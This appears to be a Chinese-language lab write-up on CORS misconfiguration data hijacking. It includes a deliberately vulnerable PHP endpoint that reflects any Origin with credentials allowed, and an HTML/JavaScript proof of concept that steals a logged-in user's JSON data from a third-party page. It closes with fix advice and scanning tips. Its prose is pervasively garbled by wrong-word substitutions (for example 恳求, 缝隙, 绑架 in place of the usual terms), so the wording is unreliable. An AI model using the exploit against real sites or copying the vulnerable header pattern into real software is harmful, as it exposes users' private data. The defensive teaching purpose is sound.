1.1. CORS介绍

CORS(跨源资源共享)是一种用于在Web应用程序中处理跨域恳求的机制。当一个Web应用程序在浏览器中向不同的域(源)建议跨域恳求时,浏览器会执行同源战略,约束了跨域恳求的默许行为。同源战略要求Web应用程序只能访问与其本身源(协议、域名和端口)相同的资源。

但是,在某些情况下,咱们期望答应来自其他源的跨域恳求,例如使用AJAX进行跨域数据访问或在前端应用程序中嵌入来自不同域的资源(如字体、样式表或脚本)。这时就需求使用CORS来解决跨域恳求的约束。

CORS经过在服务器端设置呼应头来进行装备。当浏览器建议跨域恳求时,服务器能够经过设置特定的CORS呼应头来告知浏览器是否答应该恳求。常见的CORS呼应头包括以下几个:

  1. Access-Control-Allow-Origin:指定答应访问该资源的源。能够是详细的源(如example.com)或通配符(`*`),表明答应来自恣意源的访问。
  2. Access-Control-Allow-Methods:指定答应的HTTP方法(如GET、POST、PUT等)。
  3. Access-Control-Allow-Headers:指定答应的恳求头字段。
  4. Access-Control-Allow-Credentials:指定是否答应发送身份凭证(如cookies、HTTP认证等)。
  5. Access-Control-Max-Age:指定预检恳求(OPTIONS)的有效期,以减少对服务器的频频恳求。

在前端代码中,假如要发送跨域恳求,能够经过XMLHttpRequest方针或fetch API增加额定的恳求头来指示浏览器建议CORS恳求。浏览器会主动在发送恳求时检查呼应中的CORS头信息,并依据装备决议是否答应该恳求。

详细可参考MDN DOC

1.2. 缝隙介绍

由于需求装备CORS呼应头来告知浏览器是否答应该恳求,所以假如装备不当,就或许导致攻击者经过恶意网站或代码执行跨域恳求,从而获取或篡改用户的灵敏数据(危害和CSRF类似,不过能够绑架回来的内容)

1.3. 缝隙复现

1.3.1. 环境建立

实战过程中,主要是Origin可控以及Access-Control-Allow-Credentials设置为True,这样才干绑架到数据,简单的缝隙复现环境如下:

php代码,保存为index.php

<?php
$userInfo = array(
    'username' => 'd4m1ts',
    'phone' => '13888888888'
);
$jsonResponse = json_encode($userInfo);
// 检查是否存在Origin头
if (isset($_SERVER['HTTP_ORIGIN'])) {
    // 设置Access-Control-Allow-Origin为恳求中的Origin值
    header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
    // 设置Access-Control-Allow-Credentials为True
    header('Access-Control-Allow-Credentials: true');
}
// 检查是否设置了名为admin的Cookie
if (isset($_COOKIE['admin'])) {
    header('Content-Type: application/json');
    echo $jsonResponse;
} else {
  echo "unauth";
}
?>

简易启动php web服务

php -S 127.0.0.1:9999

1.3.2. 复现过程

直接打开会提示unauth

深入了解CORS数据劫持漏洞

依据代码,需求在Cookie中设置字段admin

Note

浏览器默许SameSite是Lax,Lax的情况下无法发送至第三方上下文中,所以需求设置一下,否则无法绑架!

document.cookie = "admin=1; SameSite=None"

设置后刷新就能够拿到数据了,咱们假设这是灵敏数据,后续即便对这个数据进行绑架。

深入了解CORS数据劫持漏洞


假设http://internal.gm7.org:9999/是方针,测试过程中在恳求数据包头增加Origin字段,调查呼应包,发现Origin可控,且Access-Control-Allow-Credentials: true,还没有验证referer,就说明能够绑架了。

深入了解CORS数据劫持漏洞

编写POC如下:

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://internal.gm7.org:9999/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

放到第三方网站上,可见成功绑架

深入了解CORS数据劫持漏洞

1.3.3. 特别说明

假如要CORS带着Cookie,一起成功使用该缝隙,需求满意如下几个条件

  1. Cookie的SameSite属性值为None,但现在浏览器默许几乎都是Lax
  2. 呼应头中的Access-Control-Allow-Origin不能为通配符*,而是应指定详细的域名,否则只能建议恳求,无法获取到呼应
  3. 服务器的呼应头需求包括Access-Control-Allow-Credentials: true
  4. 在建议Ajax恳求时,需求将withCredentials设置为true

1.4. 修复建议

  1. 约束Access-Control-Allow-Origin的值为可信源,尽或许设置白名单,不能为*,也不能为null
  2. 防止Access-Control-Allow-Credentials的值为True
  3. 设置Access-Control-Allow-Methods(答应的 HTTP 方法)、Access-Control-Allow-Headers(答应的恳求头)

1.5. 发掘技巧

能够在burpsuite中勾选替换条件,主动增加Origin

深入了解CORS数据劫持漏洞

然后从呼应头中检查是否可控Origin以及是否包括Access-Control-Allow-Credentials: true

深入了解CORS数据劫持漏洞

也能够挂着xray去扫,不过误报率或许会比较高,大多都不是灵敏信息,没啥意思,不过反正都需求人工去判断,看个人喜好吧。